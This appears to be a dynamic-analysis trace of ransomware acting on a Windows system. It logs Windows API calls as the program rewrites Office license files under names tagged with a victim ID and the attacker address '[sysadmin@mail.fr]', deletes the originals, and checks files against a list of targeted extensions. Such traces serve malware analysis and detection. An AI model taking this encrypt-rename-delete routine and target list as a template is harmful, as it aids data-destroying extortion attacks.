	[0172.892] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0172.896] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0172.897] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.897] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0172.897] SetEndOfFile (hFile=0x47c) returned 1
	[0172.898] CloseHandle (hObject=0x47c) returned 1
	[0172.898] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.898] SetEndOfFile (hFile=0x57c) returned 1
	[0172.901] CloseHandle (hObject=0x57c) returned 1
	[0172.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 1
	[0172.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0172.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0172.906] lstrlenW (lpString=".doc") returned 4
	[0172.906] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.906] lstrlenW (lpString=".docx") returned 5
	[0172.906] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.906] lstrlenW (lpString=".pdf") returned 4
	[0172.906] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.906] lstrlenW (lpString=".xls") returned 4
	[0172.906] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.906] lstrlenW (lpString=".xlsx") returned 5
	[0172.906] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.906] lstrlenW (lpString=".ppt") returned 4
	[0172.906] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0172.906] lstrlenW (lpString=".zip") returned 4
	[0172.907] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.907] lstrlenW (lpString=".rar") returned 4
	[0172.907] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.907] lstrlenW (lpString=".bz2") returned 4
	[0172.907] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.907] lstrlenW (lpString=".7z") returned 3
	[0172.907] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0172.907] lstrlenW (lpString=".dbf") returned 4
	[0172.907] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0172.907] lstrlenW (lpString=".1cd") returned 4
	[0172.907] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0172.907] lstrlenW (lpString=".jpg") returned 4
	[0172.907] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.908] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=26541) returned 1
	[0172.908] CloseHandle (hObject=0x57c) returned 1
	[0172.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 0x220
	[0172.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0172.910] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.910] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.911] GetLastError () returned 0x0
	[0172.911] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0172.917] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0172.919] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.920] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x120, lpOverlapped=0x0) returned 1
	[0172.920] SetEndOfFile (hFile=0x47c) returned 1
	[0172.920] CloseHandle (hObject=0x47c) returned 1
	[0172.920] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.920] SetEndOfFile (hFile=0x57c) returned 1
	[0172.924] CloseHandle (hObject=0x57c) returned 1
	[0172.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 1
	[0172.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0172.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0172.928] lstrlenW (lpString=".doc") returned 4
	[0172.928] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.928] lstrlenW (lpString=".docx") returned 5
	[0172.928] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.928] lstrlenW (lpString=".pdf") returned 4
	[0172.928] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.931] lstrlenW (lpString=".xls") returned 4
	[0173.090] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.090] lstrlenW (lpString=".xlsx") returned 5
	[0173.090] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.090] lstrlenW (lpString=".ppt") returned 4
	[0173.090] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0173.090] lstrlenW (lpString=".zip") returned 4
	[0173.090] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.090] lstrlenW (lpString=".rar") returned 4
	[0173.090] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.090] lstrlenW (lpString=".bz2") returned 4
	[0173.090] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.090] lstrlenW (lpString=".7z") returned 3
	[0173.090] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0173.090] lstrlenW (lpString=".dbf") returned 4
	[0173.090] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0173.090] lstrlenW (lpString=".1cd") returned 4
	[0173.090] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0173.091] lstrlenW (lpString=".jpg") returned 4
	[0173.091] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.091] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=26541) returned 1
	[0173.091] CloseHandle (hObject=0x364) returned 1
	[0173.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 0x220
	[0173.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0173.093] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.093] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0173.094] GetLastError () returned 0x0
	[0173.094] ReadFile (in: hFile=0x364, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0173.137] WriteFile (in: hFile=0x574, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0173.138] ReadFile (in: hFile=0x364, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.138] WriteFile (in: hFile=0x574, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x120, lpOverlapped=0x0) returned 1
	[0173.139] SetEndOfFile (hFile=0x574) returned 1
	[0173.142] CloseHandle (hObject=0x574) returned 1
	[0173.146] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.146] SetEndOfFile (hFile=0x364) returned 1
	[0173.162] CloseHandle (hObject=0x364) returned 1
	[0173.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 1
	[0173.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0173.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0173.432] lstrlenW (lpString=".doc") returned 4
	[0173.432] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.432] lstrlenW (lpString=".docx") returned 5
	[0173.432] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.432] lstrlenW (lpString=".pdf") returned 4
	[0173.432] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.432] lstrlenW (lpString=".xls") returned 4
	[0173.432] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.432] lstrlenW (lpString=".xlsx") returned 5
	[0173.432] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.432] lstrlenW (lpString=".ppt") returned 4
	[0173.432] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0173.432] lstrlenW (lpString=".zip") returned 4
	[0173.432] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.432] lstrlenW (lpString=".rar") returned 4
	[0173.432] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.432] lstrlenW (lpString=".bz2") returned 4
	[0173.432] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.432] lstrlenW (lpString=".7z") returned 3
	[0173.432] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0173.432] lstrlenW (lpString=".dbf") returned 4
	[0173.432] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0173.432] lstrlenW (lpString=".1cd") returned 4
	[0173.432] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0173.433] lstrlenW (lpString=".jpg") returned 4
	[0173.433] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.433] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=26541) returned 1
	[0173.433] CloseHandle (hObject=0x484) returned 1
	[0173.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 0x220
	[0173.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0173.434] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.434] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.436] GetLastError () returned 0x0
	[0173.436] ReadFile (in: hFile=0x484, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0173.453] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0173.454] ReadFile (in: hFile=0x484, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.454] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x120, lpOverlapped=0x0) returned 1
	[0173.455] SetEndOfFile (hFile=0x558) returned 1
	[0173.455] CloseHandle (hObject=0x558) returned 1
	[0173.455] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.455] SetEndOfFile (hFile=0x484) returned 1
	[0173.458] CloseHandle (hObject=0x484) returned 1
	[0173.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 1
	[0173.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0173.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0173.460] lstrlenW (lpString=".doc") returned 4
	[0173.460] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.460] lstrlenW (lpString=".docx") returned 5
	[0173.460] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.460] lstrlenW (lpString=".pdf") returned 4
	[0173.460] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.460] lstrlenW (lpString=".xls") returned 4
	[0173.460] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.460] lstrlenW (lpString=".xlsx") returned 5
	[0173.460] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.460] lstrlenW (lpString=".ppt") returned 4
	[0173.460] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0173.460] lstrlenW (lpString=".zip") returned 4
	[0173.460] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.460] lstrlenW (lpString=".rar") returned 4
	[0173.460] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.460] lstrlenW (lpString=".bz2") returned 4
	[0173.460] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.460] lstrlenW (lpString=".7z") returned 3
	[0173.461] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0173.461] lstrlenW (lpString=".dbf") returned 4
	[0173.461] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0173.461] lstrlenW (lpString=".1cd") returned 4
	[0173.461] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0173.461] lstrlenW (lpString=".jpg") returned 4
	[0173.461] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.462] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11651) returned 1
	[0173.462] CloseHandle (hObject=0x484) returned 1
	[0173.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 0x220
	[0173.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0173.463] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.463] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.465] GetLastError () returned 0x0
	[0173.465] ReadFile (in: hFile=0x484, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0173.466] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0173.468] ReadFile (in: hFile=0x484, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.468] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x126, lpOverlapped=0x0) returned 1
	[0173.468] SetEndOfFile (hFile=0x558) returned 1
	[0173.468] CloseHandle (hObject=0x558) returned 1
	[0173.468] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.468] SetEndOfFile (hFile=0x484) returned 1
	[0173.476] CloseHandle (hObject=0x484) returned 1
